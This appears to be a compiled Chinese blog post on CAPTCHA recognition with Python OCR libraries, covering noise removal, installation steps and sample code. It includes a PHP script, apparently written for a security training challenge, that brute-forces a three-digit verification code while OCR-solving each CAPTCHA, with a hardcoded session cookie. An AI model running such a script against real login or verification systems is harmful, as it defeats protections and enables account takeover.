关于利用python进行验证码识别的一些想法

用python加“验证码”为关键词在baidu里搜一下,可以找到很多关于验证码识别的文章。我大体看了一下,主要方法有几类:一类是通过对图片进行处 理,然后利用字库特征匹配的方法,一类是图片处理后建立字符对应字典,还有一类是直接利用ocr模块进行识别。不管是用什么方法,都需要首先对图片进行处 理,于是试着对下面的验证码进行分析。
        一、图片处理

这个验证码中主要的影响因素是中间的曲线,首先考虑去掉图片中的曲线。考虑了两种算法:
       
第一种是首先取到曲线头的位置,即x=0时,黑点的位置。然后向后移动x的取值,观察每个x下黑点的位置,判断前后两个相邻黑点之间的距离,如果距离在一
定范围内,可以基本判断该点是曲线上的点,最后将曲线上的点全部绘成白色。试了一下这种方法,结果得到的图片效果很一般,曲线不能完全去除,而且容量将字
符的线条去除。
       
第二种考虑用单位面积内点的密度来进行计算。于是首先计算单位面积内点的个数,将单位面积内点个数少于某一指定数的面积去除,剩余的部分基本上就是验证码
字符的部分。本例中,为了便于操作,取了5*5做为单位范围,并调整单位面积内点的标准密度为11。处理后的效果:

二、字符验证
        这里我使用的方法是利用pytesser进行ocr识别,但由于这类验证码字符的不规则性,使得验证结果的准确性并不是很高。具体哪位大牛,有什么好的办法,希望能给指点一下。
        三、准备工作与代码实例
        1、PIL、pytesser、tesseract
        (1)安装PIL:下载地址:http://www.pythonware.com/products/pil/
        (2)pytesser:下载地址:http://code.google.com/p/pytesser/,下载解压后直接放在代码相同的文件夹下,即可使用。
        (3)Tesseract OCR engine下载:http://code.google.com/p/tesseract-ocr/,下载后解压,找到tessdata文件夹,用其替换掉pytesser解压后的tessdata文件夹即可。
        2、具体代码

#encoding=utf-8
###利用点的密度计算
import Image,ImageEnhance,ImageFilter,ImageDraw
import sys
from pytesser import *
#计算范围内点的个数
def numpoint(im):
    w,h = im.size
    data = list( im.getdata() )
    mumpoint=0
    for x in range(w):
        for y in range(h):
            if data[ y*w + x ] !=255:#255是白色
                mumpoint+=1
    return mumpoint

#计算5*5范围内点的密度
def pointmidu(im):
    w,h = im.size
    p=[]
    for y in range(0,h,5):
        for x in range(0,w,5):
            box = (x,y, x+5,y+5)
            im1=im.crop(box)
            a=numpoint(im1)
            if a<11:##如果5*5范围内小于11个点,那么将该部分全部换为白色。
                for i in range(x,x+5):
                    for j in range(y,y+5):
                        im.putpixel((i,j), 255)
    im.save(r'img.jpg')

def ocrend():##识别
    image_name = "img.jpg"
    im = Image.open(image_name)
    im = im.filter(ImageFilter.MedianFilter())
    enhancer = ImageEnhance.Contrast(im)
    im = enhancer.enhance(2)
    im = im.convert('1')
    im.save("1.tif")
    print image_file_to_string('1.tif')    

if __name__=='__main__':
    image_name = "1.png"
    im = Image.open(image_name)
    im = im.filter(ImageFilter.DETAIL)
    im = im.filter(ImageFilter.MedianFilter())

    enhancer = ImageEnhance.Contrast(im)
    im = enhancer.enhance(2)
    im = im.convert('1')
    ##a=remove_point(im)
    pointmidu(im)
    ocrend()
 
 
 
(一)使用pytesser
1、下载安装pil
下载 : http://www.pythonware.com/products/pil/
执行安装文件
2、下载安装pytesser
下载:http://code.google.com/p/pytesser/
解压,“...\pytesser”, 设置环境变量PYTHONPATH,添加“...\pytesser”
3、程序执行
import os 
import pytesser
os.chdir("E:/software/python/pytesser")
pytesser.image_file_to_string('c:/check.bmp')
 
参考:http://code.google.com/p/pytesser/
说明: 该项目似乎只是"tesseract-ocr"一个ptyhon封装的外壳,并且此项目似乎还一直停留在0.01版没有更新,而且该外壳似乎还存在比较严重的bug,更深入的解决方案应该是参考"tesseract-ocr" 参考 http://code.google.com/p/tesseract-ocr/。
 
4、改进程序只能在当前目录下调用的问题
在目录下新增一个文件 mypytesser.py 文件
import os
import pytesser
def image_file_to_string(file):
    cwd = os.getcwd()
    try :
        os.chdir("E:\software\python\pytesser")
        return pytesser.image_file_to_string(file)
    finally:
        os.chdir(cwd)
 
在命令航使用一下命令进行图片解析
import mypytesser
print mypytesser.image_file_to_string("c:/check.bmp");
 
 
(二)自己编写代码来实现
http://blog.feshine.net/technology/1163.html
 
(三)tesseract-ocr基础
1、基本操作
cmd>tesseract c:\check1.bmp c:\check1
在tesseract.log可以看见程序反馈,但可以了解的信息不多,需要深入了解tesseract项目。
2、极容易出现的问题是,图像文件打开会报错,需要将图像文件的dpi改为200*200,可以用python代码解决:
python>>>import Image
python>>>image = Image.open(r”c:\check.bmp”)
python>>>image.save(r”c:\check1.bmp”, dpi=(200,200))
 
 
 
 
 

python中的验证码识别库PyTesser

PyTesser

PyTesser is an Optical Character Recognition module for Python. It takes as input an image or image file and outputs a string.

PyTesser uses the Tesseract OCR engine, converting images to an accepted format and calling the Tesseract executable as an external script. A Windows executable is provided along with the Python scripts. The scripts should work in other operating systems as well.

Dependencies

PIL is required to work with images in memory. PyTesser has been tested with Python 2.4 in Windows XP.

Usage Example

>>>from pytesser import* >>> image =Image.open('fnord.tif')  # Open image object using PIL >>>print image_to_string(image)     # Run tesseract.exe on image fnord >>>print image_file_to_string('fnord.tif') fnord

(more examples in README)

pytesser下载

http://code.google.com/p/pytesser/

Tesseract OCR engine下载:

http://code.google.com/p/tesseract-ocr/

PIL官方下载

http://www.pythonware.com/products/pil/

 
 
 
 

最近在做网络信息安全攻防学习平台的题目,发现有些题居然需要用到验证码识别,这玩意以前都觉得是高大上的东西,一直没有去研究,这次花了点时间研究了一下,当然只是一些基础的东西,高深的我也不会,分享一下给大家吧。

这次验证码识别,我使用的python来实现的,发现python果然是强大无比,但是在验证码识别库的安装上面有点小问题。

关于python验证码识别库,网上主要介绍的为pytesser及pytesseract,其实pytesser的安装有一点点麻烦,所以这里我不考虑,直接使用后一种库。

python验证码识别库安装

要安装pytesseract库,必须先安装其依赖的PIL及tesseract-ocr,其中PIL为图像处理库,而后面的tesseract-ocr则为google的ocr识别引擎。

1、PIL 下载地址:

PIL-1.1.7.win-amd64-py2.7.exe

PIL-1.1.7.win32-py2.7.exe

或者直接使用pillow来代替,使用方法基本没有什么区别。

http://www.lfd.uci.edu/~gohlke/pythonlibs/#pillow

2、tesseract-ocr下载地址:

tesseract-ocr-setup-3.02.02.exe

3、pytesseract安装

直接使用pip install pytesseract安装即可,或者使用easy_install pytesseract

python验证码识别方法

01 #!/usr/bin/env python
02 # -*- coding: gbk -*-
03 # -*- coding: utf_8 -*-
04 # Date: 2014/11/27
05 # Created by 独自等待
07 try:
08     import pytesseract
09     from PIL import Image
10 except ImportError:
11     print '模块导入错误,请使用pip安装,pytesseract依赖以下库:'
12     print 'http://www.lfd.uci.edu/~gohlke/pythonlibs/#pil'
14     raise SystemExit
15  
16 image = Image.open('vcode.png')
17 vcode = pytesseract.image_to_string(image)
18 print vcode

识别率还挺高的,当然这也和验证码本身有关,因为这个验证码设计的比较容易识别。

python识别验证码,就是这么简单,大家还不快来试一试?

php验证码识别方法

关于php的验证码识别,这个我没有深入研究,但是用python实现完了以后就明白了,其实只要借助ocr识别库就可以了,直接贴上之前脚本关第9关的代码。

python实现的验证码识别破解实例请关注:

http://www.waitalone.cn/security-scripts-game.html

01 <?php
02 /**
03  * Created by 独自等待
04  * Date: 2014/11/20
05  * Time: 9:27
06  * Name: ocr.php
07  * 独自等待博客:http://www.waitalone.cn/
08  */
09 error_reporting(7);
10 if (!extension_loaded('curl')) exit('请开启CURL扩展,谢谢!');
11 crack_key();
12  
13 function crack_key()
14 {
16     for ($i = 100; $i <= 999; $i++) {
17         $vcode = mkvcode();
18         $post_data = array(
19             'username' => 13388886666,
20             'mobi_code' => $i,
21             'user_code' => $vcode,
22             'Login' => 'submit'
23         );
24         $response = send_pack('POST', $crack_url, $post_data);
25         if (!strpos($response, 'error')) {
26             system('cls');
27             echo $response;
28             break;
29         }else{
30             echo $response."\n";
31         }
32     }
33 }
34  
35  
36 function mkvcode()
37 {
38     $vcode = '';
40     $pic = send_pack('GET', $vcode_url);
41     file_put_contents('vcode.png', $pic);
42     $cmd = "\"D:\\Program Files (x86)\\Tesseract-OCR\\tesseract.exe\" vcode.png vcode";
43     system($cmd);
44     if (file_exists('vcode.txt')) {
45         $vcode = file_get_contents('vcode.txt');
46         $vcode = trim($vcode);
47         $vcode = str_replace(' ', '', $vcode);
48     }
49     if (strlen($vcode) == 4) {
50         return $vcode;
51     } else {
52         return mkvcode();
53     }
54 }
55  
56 //数据包发送函数
57 function send_pack($method, $url, $post_data = array())
58 {
59     $cookie = 'saeut=218.108.135.246.1416190347811282;PHPSESSID=6eac12ef61de5649b9bfd8712b0f09c2';
60     $curl = curl_init();
61     curl_setopt($curl, CURLOPT_URL, $url);
62     curl_setopt($curl, CURLOPT_HEADER, 0);
63     curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
64     curl_setopt($curl, CURLOPT_COOKIE, $cookie);
65     if ($method == 'POST') {
66         curl_setopt($curl, CURLOPT_POST, 1);
67         curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
68     }
69     $data = curl_exec($curl);
70     curl_close($curl);
71     return $data;
72 }

文中用到的文件下载

点我下载

 
 
 
 
 
 

python验证码识别的更多相关文章

  1. Python 验证码识别-- tesserocr

    Python 验证码识别-- tesserocr tesserocr 是 Python 的一个 OCR 识别库 ,但其实是对 tesseract 做的一 层 Python API 封装,所以它的核心是 ...

  2. 【转】Python验证码识别处理实例

    原文出处: 林炳文(@林炳文Evankaka) 一.准备工作与代码实例 1.PIL.pytesser.tesseract (1)安装PIL:下载地址:http://www.pythonware.com ...

  3. Python 验证码识别(别干坏事哦...)

    关于python验证码识别库,网上主要介绍的为pytesser及pytesseract,其实pytesser的安装有一点点麻烦,所以这里我不考虑,直接使用后一种库. python验证码识别库安装 要安 ...

  4. Windows平台python验证码识别

    参考: http://oatest.dragonbravo.com/Authenticate/SignIn?returnUrl=%2f http://drops.wooyun.org/tips/631 ...

  5. Python验证码识别处理实例(转载)

    版权声明:本文为博主林炳文Evankaka原创文章,转载请注明出处http://blog.csdn.net/evankaka 一.准备工作与代码实例 1.PIL.pytesser.tesseract ...

  6. Python验证码识别处理实例(转)

    一.准备工作与代码实例 1.PIL.pytesser.tesseract (1)安装PIL:下载地址:http://www.pythonware.com/products/pil/(CSDN下载) 下 ...

  7. python 验证码识别示例(一) 某个网站验证码识别

    某个招聘网站的验证码识别,过程如下 一: 原始验证码: 二: 首先对验证码进行分析,该验证码的数字颜色有变化,这个就是识别这个验证码遇到的比较难的问题,解决方法是使用PIL 中的  getpixel  ...

  8. Python验证码识别处理实例

    一.准备工作与代码实例 1.PIL.pytesser.tesseract (1)安装PIL:下载地址:http://www.pythonware.com/products/pil/(CSDN下载) 下 ...

  9. python验证码识别(2)极验滑动验证码识别

    目录 一:极验滑动验证码简介 二:极验滑动验证码识别思路 三:极验验证码识别 一:极验滑动验证码简介   近些年来出现了一些新型验证码,不想旧的验证码对人类不友好,但是这种验证码对于代码来说识别难度上 ...

随机推荐

  1. BZOJ 1718: [Usaco2006 Jan] Redundant Paths 分离的路径( tarjan )

    tarjan求边双连通分量, 然后就是一棵树了, 可以各种乱搞... ----------------------------------------------------------------- ...

  2. C语言程序转换为Python语言

    python语言是支持用c来它写模块的,其实现有的很多模块也是用c写的.这里我做个简单的介绍. 先决条件:1.在linux上编写,需要自己编译出python的动态连接库.也就是要有libpython2 ...

  3. [LeetCode]题解(python):012-Integer to Roman

    题目来源: https://leetcode.com/problems/integer-to-roman/ 题意分析: 这道题是要把在区间[1-3999]的数字转化成罗马数字. 题目思路: 只要知道了 ...

  4. 数据切分——MySql表分区概述

    定义:         表的分区指根据可以设置为任意大小的规则,跨文件系统分配单个表的多个部分.实际上,表的不同部分在不同的位置被存储为单独的表.用户所选择的.实现数据分割的规则被称为分区函数,这在M ...

  5. html = data.decode('gbk').encode('utf-8')

    html = data.decode('gbk').encode('utf-8')此处encode编码要与html文件内charset=utf-8的格式一致,如果不一致,浏览器打开乱码,文本编辑器正常 ...

  6. XMPP--- error : linker command failed with exit code 1

    error: linker command failed with exit code 1 (use -v to see invocation) 错误原因:libidn.a文件没添加上去 解决方法:l ...

  7. VC++网络高级编程

    内含<VC网络高级编程>电子书 及源代码. 第一章.TCP/IP协议.第二章.Winsock网络编程接口:第二章.Visual C++与网络编程:第四章.基本网络编程技术:第五章.Teln ...

  8. Jquery ajax方法详解

    1.url: 要求为string类型的参数,(默认为当前页面地址)发送请求的地址. 2.type: 要求为String类型的参数,请方式(get/post)默认为get.注意其他HTTP请求方法,例如 ...

  9. dhtmlx之dhtmlXGrid显示数据 --大数据

    引用 <link href="../../dhtmlXGridScripts/dhtmlxgrid.css" rel="stylesheet" type= ...

  10. iOS 日历控件

    近期需要写一个交互有点DT的日历控件,具体交互细节这里略过不表. 不过再怎么复杂的控件,也是由基础的零配件组装起来的,这里最基本的就是日历控件. 先上图: 从图中可以看出日历控件就是由一个个小方块组成 ...